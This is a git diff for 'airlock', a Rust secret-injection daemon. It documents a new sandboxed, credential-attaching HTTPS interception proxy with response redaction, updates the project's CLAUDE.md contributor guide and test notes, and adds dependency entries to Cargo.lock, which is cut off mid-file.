diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index 8a3c6bb..875ab1b 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -11,6 +11,9 @@ src/ ├── secrets.rs Secret wrapper, pluggable secret sources, env clearing ├── refresh.rs Background secret refresh task, exponential-backoff retry ├── policy.rs ToolPolicy / AgentPolicy construction, CWD validation +├── proxy.rs Proxy-tool egress policy: route table, host / path matching +│ ├── ca.rs Per-daemon MITM CA: name constraints, leaf minting and cache +│ └── server.rs Daemon-side interception proxy, one per exec request: CONNECT, vetting, injection ├── redact.rs Aho-Corasick automaton, streaming redaction ├── sandbox.rs SandboxBackend trait, macOS Seatbelt, Linux Landlock ├── exec.rs Binary resolution, env construction, child spawn @@ -43,13 +46,16 @@ main() │ ├─ verify_socket_permissions() ← refuse start if not 0o700 │ │ │ ├─ [daemon start] daemonize() - │ │ ├─ pipe for readiness + │ │ ├─ pipe for readiness (carries success, or the startup error) │ │ ├─ fork #1: parent waits on pipe │ │ ├─ setsid() │ │ ├─ fork #2: intermediate exits │ │ ├─ redirect stdio → /dev/null │ │ ├─ chdir("/") - │ │ └─ signal readiness → parent exits + │ │ └─ signal readiness → parent exits 0 + │ │ (a failure before that point is written into the pipe + │ │ instead; the parent prints it and exits 1 — the grandchild + │ │ has no stderr, so the pipe is its only voice) │ │ │ └─ enter_async_runtime() │ ├─ convert std::UnixListener → tokio::UnixListener @@ -96,15 +102,16 @@ main() ### State -The daemon's shared state is wrapped in `Arc` for concurrent access across connection handlers: +The daemon's shared state is one `DaemonShared`, built by `Daemon::start` and held in an `Arc` by every connection handler. The standalone and the embedded (`airlock run`) daemon both run through `Daemon::start` and `Daemon::serve`; they differ only in the PID file, the readiness pipe, and what ends the accept loop (SIGTERM or the `run` session's cancel signal). | Component | Type | Purpose | |-----------|------|---------| -| Config | `Arc` | Parsed `airlock.toml` (immutable after startup) | +| Config | `Config` | Parsed `airlock.toml` (immutable after startup) | | Secrets | `SecretStore` = `Arc>>` | Per-label slot holding `Arc>` plus refresh health; the map is fixed at startup, slot contents swap on refresh | -| Redactor | `Arc` | Aho-Corasick automaton for output redaction | -| Ring buffer | `Arc>` | Last 1000 log entries (`VecDeque`) | -| Child registry | `Arc>>` | PIDs of currently running children | +| Redactor | `RedactorSwap` = `Arc>>` | Aho-Corasick automaton for output redaction; refresh tasks swap the inner `Arc`. An exec snapshots it for the child's stdout/stderr right after reading the tool's secrets; a proxy session carries the handle itself and snapshots per response | +| Ring buffer | `RingBuffer` | Last 1000 log entries (`Arc>>`, cloned into refresh tasks and proxy sessions) | +| Child registry | `ChildRegistry` | PIDs of currently running children | +| Proxy | `Option>` | The proxy CA and what every proxy session shares; `None` when no tool is a proxy tool | ### Connection handling @@ -126,13 +133,18 @@ Daemon handler: Static(s) as-is and SecretRef(label) via the in-memory secret store; then layer the essential pass-through set (PATH, HOME, TERM, USER, TZ, and the standard LC_* locale family — see exec::ESSENTIAL_VARS) - 5. Resolve timeout (per-tool override or global default) - 6. Build ToolPolicy (merge sandbox root + global + tool paths) - 7. Build SandboxProfile (SBPL on macOS, Landlock on Linux) - 8. spawn(ExecRequest { binary, args, work_dir, env, sandbox_profile, timeout }) - 9. Register child PID in ChildRegistry - -10. Concurrent select! loop: + 5. Proxy tools only: bind a proxy listener on 127.0.0.1:0, then overlay the + daemon-owned HTTPS_PROXY / NO_PROXY / *_CA_* variables on top of step 4. + The ProxySession is held for the rest of the handler; dropping it aborts + the serve task, so every exit path takes the proxy down with the child. + 6. Resolve timeout (per-tool override or global default) + 7. Build ToolPolicy (merge sandbox root + global + tool paths), with + network = ProxyOnly(port) for a proxy tool and Full otherwise + 8. Build SandboxProfile (SBPL on macOS, Landlock on Linux) + 9. spawn(ExecRequest { binary, args, work_dir, env, sandbox_profile, timeout }) +10. Register child PID in ChildRegistry + +11. Concurrent select! loop: ├── child exit → collect exit code, break ├── stdout chunk → redact → DaemonMessage::Stdout → socket ├── stderr chunk → redact → DaemonMessage::Stderr → socket @@ -141,11 +153,74 @@ Daemon handler: ├── stdin timeout (2s)→ auto-close child stdin └── exec timeout → SIGTERM → 5s → SIGKILL -11. Drain remaining stdout/stderr -12. Send DaemonMessage::Exit { code } or DaemonMessage::Error -13. Unregister child PID +12. Drain remaining stdout/stderr +13. Send DaemonMessage::Exit { code } or DaemonMessage::Error +14. Unregister child PID +``` + +### Proxy tools + +A proxy tool holds no secret. Its only network path is a proxy the daemon +binds for that one execution, which attaches the credential after the request +has left the tool. Rationale and threat model: +[docs/proxy-tools-design.md](docs/proxy-tools-design.md) and +[SECURITY.md](SECURITY.md#proxy-tools). + +The CA is generated once per daemon in `Daemon::start` — inside the runtime, after +the fork, so the synchronous-startup invariant is untouched — and shared as an +`Arc` across connections. Its key stays in memory; only the certificate is +written, to `{sandbox_root}/airlock-ca.pem`. + +``` +child (curl) daemon upstream + │ │ │ + │ CONNECT api.example.com:443 │ │ + │ Proxy-Authorization: Basic │ │ + ├─────────────────────────────►│ constant-time token compare │ + │ │ port == 443? │ + │ │ find_route(host)? │ + │◄─────────────────────────────┤ 200, or 407 / 403 │ + │ │ │ + │ ── TLS handshake ───────────►│ leaf minted for the CONNECT │ + │ (client SNI ignored) │ authority, ALPN http/1.1 │ + │ │ │ + │ GET /v1/things?page=2 │ │ + │ Host: api.example.com │ │ + ├─────────────────────────────►│ Host == authority? │ + │ │ no TE+CL, no dup CL? │ + │ │ route.permits(method, path)? │ + │ │ strip client's copy of the │ + │ │ inject header + hop-by-hop │ + │ │ secret store lookup (Stale→502)│ + │ │ attach prefix+secret+suffix │ + │ │ force Accept-Encoding:identity,│ + │ │ strip Range / If-Range │ + │ │ resolve host, refuse non- │ + │ │ routable addrs, dial that │ + │ │ exact SocketAddr │ + │ ├───── TLS ≥1.2, public roots ──►│ + │ │◄──────── response head ────────┤ + │ │ content-encoded / odd framing /│ + │ │ 206? → 502, body unread │ + │ │ redact every header value │ + │ │ drop Content-Length unless the │ + │ │ response is bodiless │ + │◄──── redacted, chunked ──────┤◄──── body frames streamed ─────┤ + │ │ audit: method, host, path, │ + │ │ decision, status, redaction │ + │ │ counts (no query, no header │ + │ │ values, no matched bytes) │ ``` +The response never reaches the tool unexamined. Header values and body both go +through the redactor, so what `curl -o` writes into the sandbox was already +redacted — see [SECURITY.md](SECURITY.md#response-redaction) for what that +covers and what fails closed. + +Meanwhile the sandbox holds the other end: the profile permits a TCP connect to +that port and nothing else — no DNS, no other destination — so a tool that +ignores `HTTPS_PROXY` gets nowhere. + ### Redaction pipeline The redaction pipeline bridges async I/O (tokio) with the synchronous Aho-Corasick streaming API: @@ -171,6 +246,24 @@ select! loop → NDJSON → Unix socket → client This design keeps the automaton's streaming state machine on a dedicated blocking thread (via `spawn_blocking`) while the daemon's main loop remains fully async. +The proxy's response path does not use this bridge. It already holds the bytes +as owned frames handed to it by hyper, so it drives a `StreamRedactor` — an +incremental redactor that keeps between chunks only the bytes a pattern could +still be starting in, and whose output for any chunking is what `redact_bytes` +makes of the whole input — directly from `poll_frame`. No thread and no channel +per response: hyper's polling is the backpressure, and dropping the response +stops the upstream read. + +Both paths take their redactor from the same `Arc>>`. An +exec snapshots it once for the child's stdout and stderr, right after it reads +the secrets the child is spawned with. A refresh swaps the redactor before it +publishes a new value, so that snapshot knows every value in the child's +environment; one taken when the connection opened would miss a refresh that +lands before the client sends its request. A proxy response +snapshots it per response, because the proxy injects whatever the store holds +at that moment and a token refreshed mid-exec must be redacted on the way +back. + ## Wire protocol Communication uses **NDJSON** (newline-delimited JSON) over the Unix domain socket. Each message is a single JSON line with a `"type"` discriminator field. @@ -247,7 +340,11 @@ When a `command` secret declares `refresh = N`, a dedicated tokio task is spawned in the async runtime to re-run the command every `N` seconds and swap the in-memory value. The redactor is rebuilt on each successful refresh and keeps both the new and previous-generation values for one cycle, so output -captured just before the swap is still redacted. On failure, the slot's +captured just before the swap is still redacted. The rebuilt redactor is +swapped in *before* the new value is published to the slot: the proxy reads +the slot per request, so any other order would let an echoing upstream hand +the fresh credential back through a redactor that has never seen it. On +failure, the slot's health flips to `Stale`, the previous value is retained but the exec path refuses to inject it, and the task retries with exponential backoff capped at `refresh_max_backoff` until the upstream recovers. @@ -333,7 +430,15 @@ On unsupported platforms, the sandbox is a no-op (only `setpgid` in `pre_exec`), | `rustix` | Typed safe wrappers for `umask`, `setrlimit`, `prctl`, `test_kill_process` | | `zeroize` | Backs `Secret` drop semantics (zero on drop) | | `anyhow` / `thiserror` | Error handling | -| `landlock` | Linux Landlock LSM (Linux-only) | +| `landlock` | Linux Landlock LSM, filesystem and TCP rules (Linux-only) | +| `rustls` / `tokio-rustls` | TLS in both directions of the proxy (ring provider, installed explicitly) | +| `rcgen` | Proxy CA and leaf certificate generation | +| `hyper` / `hyper-util` / `http-body-util` | HTTP/1.1 server and client for the proxy | +| `bytes` | Body buffers on the proxy path | +| `webpki-roots` | Public trust anchors for upstream verification | +| `time` | Certificate validity windows | +| `getrandom` | CSPRNG for the per-exec proxy token | +| `subtle` | Constant-time comparison of the proxy token | ## Build diff --git a/CLAUDE.md b/CLAUDE.md index 236dd24..470e820 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -15,7 +15,7 @@ Read [README.md](README.md), [ARCHITECTURE.md](ARCHITECTURE.md), and [SECURITY.m ## Codebase invariants — do not break these - **`main()` is synchronous.** No `#[tokio::main]`. Daemonization forks; forking after tokio spawns runtime threads leaves them in undefined state in the child. The entire `synchronous_startup()` must complete before any tokio runtime exists. See [src/daemon.rs:14-19](src/daemon.rs#L14-L19). -- **Double-fork with readiness pipe.** `daemon start` returns to the user only after the grandchild signals it's accepting connections. See [src/daemon.rs:506-572](src/daemon.rs#L506-L572). +- **Double-fork with readiness pipe.** `daemon start` returns only after one of two things: the grandchild signals that it accepts connections, or `daemon start` prints the grandchild's startup error and exits non-zero. Every startup step in `async_main` that can fail runs before the readiness signal and must send its error through the pipe. It must never fail silently. See `daemonize` and `ReadinessPipe` in [src/daemon.rs](src/daemon.rs). - **Trust boundary is the Unix socket.** The daemon is trusted; the client is not. Socket is mode `0700` and verified post-bind ([src/daemon.rs:416-435](src/daemon.rs#L416-L435)) — refuse to start if filesystem doesn't honor it. - **Secrets are wrapped in `Secret`** ([src/secrets.rs](src/secrets.rs)) which zeroizes on drop and refuses to `Debug`-print. Never log a `Secret` value, never put one in a `format!`. - **Pre-exec closures must be async-signal-safe and zero-alloc.** The closure passed to `Command::pre_exec()` in [src/exec.rs](src/exec.rs) — no allocation, no mutex, no `println!`, only raw libc calls. Errors from pre-exec abort the spawn. @@ -23,8 +23,9 @@ Read [README.md](README.md), [ARCHITECTURE.md](ARCHITECTURE.md), and [SECURITY.m ## Tests -- Most logic lives in `cargo test --lib` (223 tests). All hermetic. +- Most logic lives in `cargo test --lib` (479 tests). All hermetic. - `tests/cli_integration.rs` spawns the real `airlock` binary and runs `daemon start/stop/status`. **These might fail in the Claude Code sandbox** +- Some `client.rs` tests read the real stdin of the process. Run `cargo test < /dev/null`. Otherwise these tests can hang on an inherited pipe that never closes. ## Top-level docs — keep in sync with the code diff --git a/Cargo.lock b/Cargo.lock index ccf9a05..ad62a3f 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -17,21 +17,32 @@ version = "1.0.0" dependencies = [ "aho-corasick", "anyhow", - "base64", + "base64 0.22.1", + "bytes", "clap", + "getrandom 0.3.4", + "http-body-util", + "hyper", + "hyper-util", "landlock", "leon", "libc", "percent-encoding", + "rcgen", "rustix", + "rustls", "serde", "serde_json", + "subtle", "tempfile", "thiserror", + "time", "tokio", + "tokio-rustls", "tokio-stream", "tokio-util", "toml", + "webpki-roots", "zeroize", ] @@ -71,7 +82,7 @@ version = "1.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" dependencies = [ - "windows-sys", + "windows-sys 0.61.2", ] [[package]] @@ -82,7 +93,7 @@ checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" dependencies = [ "anstyle", "once_cell_polyfill", - "windows-sys", + "windows-sys 0.61.2", ] [[package]] @@ -91,12 +102,78 @@ version = "1.0.102" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" +[[package]] +name = "asn1-rs" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7f43a50ac4fdca5df8e885c21b835997f0a1cdee65494a6847694a98652d9d8" +dependencies = [ + "asn1-rs-derive", + "asn1-rs-impl", + "displaydoc", + "nom", + "num-traits", + "rusticata-macros", + "thiserror", + "time", +] + +[[package]] +name = "asn1-rs-derive" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3109e49b1e4909e9db6515a30c633684d68cdeaa252f215214cb4fa1a5bfee2c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", + "synstructure", +] + +[[package]] +name = "asn1-rs-impl" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b18050c2cd6fe86c3a76584ef5e0baf286d038cda203eb6223df2cc413565f7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + [[package]] name = "base64" version = "0.22.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" +[[package]] +name = "base64" +version = "0.23.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5" + +[[package]] +name = "bit-vec" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b71798fca2c1fe1086445a7258a4bc81e6e49dcd24c8d0dd9a1e57395b603f51" +dependencies = [ + "serde", +] + [[package]] name = "bitflags" version = "2.11.0" @@ -109,6 +186,16 @@ version = "1.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33" +[[package]] +name = "cc" +version = "1.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3eb0f42d6c360dc3f8a821f6bf2fdea7f72bfd36b3076eb0e6d1e9e0752fff4" +dependencies = [ + "find-msvc-tools", + "shlex", +] + [[package]] name = "cfg-if" version = "1.0.4" @@ -146,7 +233,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -161,6 +248,43 @@ version = "1.0.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" +[[package]] +name = "data-encoding" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4583a4551df46e2792f82ceeac45e850d2e2d5debba0b91f102385cda5b11f06" + +[[package]] +name = "der-parser" +version = "10.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07da5016415d5a3c4dd39b11ed26f915f52fc4e0dc197d87908bc916e51bc1a6" +dependencies = [ + "asn1-rs", + "displaydoc", + "nom", + "num-bigint", + "num-traits", + "rusticata-macros", +] + +[[package]] +name = "deranged" +version = "0.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c" + +[[package]] +name = "displaydoc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6232dd377dcc64799954cbd3a9bb882e9cdc1308ccd87b1c098f1fb2eaf82a8" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", +] + [[package]] name = "enumflags2" version = "0.7.12" @@ -178,7 +302,7 @@ checksum = "67c78a4d8fdf9953a5c9d458f9efe940fd97a0cab0941c075a813ac594733827" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -194,7 +318,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" dependencies = [ "libc", - "windows-sys", + "windows-sys 0.61.2", ] [[package]] @@ -203,12 +327,27 @@ version = "2.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9f1f227452a390804cdb637b74a86990f2a7d7ba4b7d5693aac9b4dd6defd8d6" +[[package]] +name = "find-msvc-tools" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e0f1c7c3a72c66fd80abe965175f7523475c0489a87d3ff9d6e8c87d87a9d2d" + [[package]] name = "foldhash" version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" +[[package]] +name = "futures-channel" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" +dependencies = [ + "futures-core", +] + [[package]] name = "futures-core" version = "0.3.32" @@ -221,6 +360,29 @@ version = "0.3.32" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c39754e157331b013978ec91992bde1ac089843443c49cbc7f46150b0fad0893" +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "libc", + "r-efi 5.3.0", + "wasip2", +] + [[package]] name = "getrandom" version = "0.4.2" @@ -229,7 +391,7 @@ checksum = "0de51e6874e94e7bf76d726fc5d13ba782deca734ff60d5bb2fb2607c7406555" dependencies = [ "cfg-if", "libc", - "r-efi", + "r-efi 6.0.0", "wasip2", "wasip3", ] @@ -255,6 +417,86 @@ version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" +[[package]] +name = "http" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "918d3568bebf352712bc2ef3d46a8bcf1a75b373be6539de198e9105cbbf9ce0" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "http-body" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca2a8f2913ee65f60facd6a5905613afaa448497a0230cc41ce022d93290bc2c" +dependencies = [ + "bytes", + "http", +] + +[[package]] +name = "http-body-util" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23169fe34a5fbcdd3f3862e78fb9b6fccd5f02a6dc6f732547005d45631ce71c" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "1.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27b501faa50e7a26c3d3560ca625132f4078a17771f4810baf70475ae48cbe43" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "smallvec", + "tokio", + "want", +] + +[[package]] +name = "hyper-util" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0" +dependencies = [ + "bytes", + "http", + "http-body", + "hyper", + "pin-project-lite", + "tokio", +] + [[package]] name = "id-arena" version = "2.3.0" @@ -296,6 +538,12 @@ dependencies = [ "thiserror", ] +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + [[package]] name = "leb128fmt" version = "0.1.0" @@ -355,9 +603,15 @@ checksum = "db5b29714e950dbb20d5e6f74f9dcec4edbcc1067bb7f8ed198c097b8c1a818b" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + [[package]] name = "mio" version = "1.2.0" @@ -366,7 +620,60 @@ checksum = "50b7e5b27aa02a74bac8c3f23f448f8d87ff11f92d3aac1a6ed369ee08cc56c1" dependencies = [ "libc", "wasi", - "windows-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "num-bigint" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c89e69e7e0f03bea5ef08013795c25018e101932225a656383bd384495ecc367" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-conv" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "521739c6d2bac4aa25192232afe6841231376b2b26d4d9fae5ecf8ca5772e441" + +[[package]] +name = "num-integer" +version = "0.1.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ce2d95d4b3734dc35aa2f45e1aa22cd416814592a4f9d9205e11affd5b8e10b" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "oid-registry" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12f40cff3dde1b6087cc5d5f5d4d65712f34016a03ed60e9c08dcc392736b5b7" +dependencies = [ + "asn1-rs", ] [[package]] @@ -381,6 +688,16 @@ version = "1.70.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" +[[package]] +name = "pem" +version = "4.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d354a98a3d1251555de99e8fdd8afda05573c31b82f59063a7b0a29b5527f120" +dependencies = [ + "base64 0.23.1", + "serde_core", +] + [[package]] name = "percent-encoding" version = "2.3.2" @@ -393,6 +710,12 @@ version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + [[package]] name = "prettyplease" version = "0.2.37" @@ -400,7 +723,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" dependencies = [ "proc-macro2", - "syn", + "syn 2.0.117", ] [[package]] @@ -421,12 +744,55 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + [[package]] name = "r-efi" version = "6.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" +[[package]] +name = "rcgen" +version = "0.14.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8774e05a7d0de114588e6a28fe7e71694b82614ed569d86d8b389dfbc98b8ad8" +dependencies = [ + "pem", + "ring", + "rustls-pki-types", + "time", + "x509-parser", + "yasna", +] + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rusticata-macros" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "faf0c4a6ece9950b9abdb62b1cfcf2a68b3b67a10ba445b3bb85be2a293d0632" +dependencies = [ + "nom", +] + [[package]] name = "rustix" version = "1.1.4" @@ -437,7 +803,42 @@ dependencies = [ "errno", "libc", "linux-raw-sys", - "windows-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.23.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d41d731c7d2f962d1ccc364cec258de3c0e93b38c2fb3ba97ac74513048d634" +dependencies = [ + "log", + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f4925028c7eb5d1fcdaf196971378ed9d2c1c4efc7dc5d011256f76c99c0a96" +dependencies = [ + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3c3cf1d8b1e7d4927e2d154c3fcb02979afb9939629c62cd9048d4f07b60ac2" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", ] [[package]] @@ -473,7 +874,7 @@ checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -498,6 +899,12 @@ dependencies = [ "serde", ] +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + [[package]] name = "signal-hook-registry" version = "1.4.8" @@ -508,6 +915,12 @@ dependencies = [ "libc", ] +[[package]] +name = "smallvec" +version = "1.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba467056f1b547ed52077911161fc86985becbc60e8e1857c8a144dab0def891" + [[package]] name = "socket2" version = "0.6.3" @@ -515,7 +928,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3a766e1110788c36f4fa1c2b71b387a7815aa65f88ce0229841826633d93723e" dependencies = [ "libc", - "windows-sys", + "windows-sys 0.61.2", ] [[package]] @@ -524,6 +937,12 @@ version = "0.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + [[package]] name = "syn" version = "2.0.117" @@ -535,6 +954,28 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "syn" +version = "3.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8593e8e72159ed2257d083c7a454a85cbf854f37a0966d8d483aff8c8a3ebcee" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "synstructure" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + [[package]] name = "tempfile" version = "3.27.0" @@ -542,10 +983,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" dependencies = [ "fastrand", - "getrandom", + "getrandom 0.4.2", "once_cell", "rustix", - "windows-sys", + "windows-sys 0.61.2", ] [[package]] @@ -565,7 +1006,37 @@ checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", +] + +[[package]] +name = "time" +version = "0.3.55" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cdb87b95ec50ddfa440816d227a17b2ccbdda963a316a727fda0fc4334f7d134" +dependencies = [ + "deranged", + "num-conv", + "powerfmt", + "serde_core", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 